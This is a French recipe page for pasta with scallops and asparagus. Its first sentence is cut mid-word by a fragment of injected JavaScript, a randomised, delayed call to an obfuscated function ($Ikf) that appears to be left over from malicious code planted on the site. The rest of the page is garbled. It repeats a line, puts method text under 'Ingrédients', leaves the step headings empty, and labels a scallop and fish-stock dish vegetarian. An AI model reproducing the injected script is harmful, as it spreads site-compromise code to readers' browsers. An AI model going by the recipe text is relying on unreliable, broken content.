Pâtes Saint-Jacques et asperges
2018-02-19- Thématique : Végétarien
- Niveau : Facile
Dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande quantité d’eau bouillante salée, plongez les pâtes et faites les cuire al dente
Ingrédients
Dans une grande quantité d'eau bouillante salée, plongez les pâtes et faites les cuire al dente Pelez, émincez les échalotes. Pelez et coupez en petits dés les pommes. Les citronner pour éviter qu'elles noircissent. Dans une poêle avec une noix de beurre et une cuillerée à soupe de curry, faites les dorer. Réservez.
Faites cuire les asperges dans une eau bouillante salée pendant 20 minutes. Les égoutter.
Coupez-les pointes des asperges et conservez les tiges que vous utiliserez dans un potage. Dans une casserole versez les 50 cl de fumet de poisson.
Portez à ébullition tout en remuant et obtenir une réduction de 2/3. A ce moment incorporez les 25 cl de crème fleurette, les échalotes.
Faites chauffer tout en remuant sur feu doux et obtenir une sauce crémeuse. Poivrez. Mixez. Répartissez les pâtes dans des assiettes, les noix Saint-Jacques, les asperges. Nappez de sauce et dégustez.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
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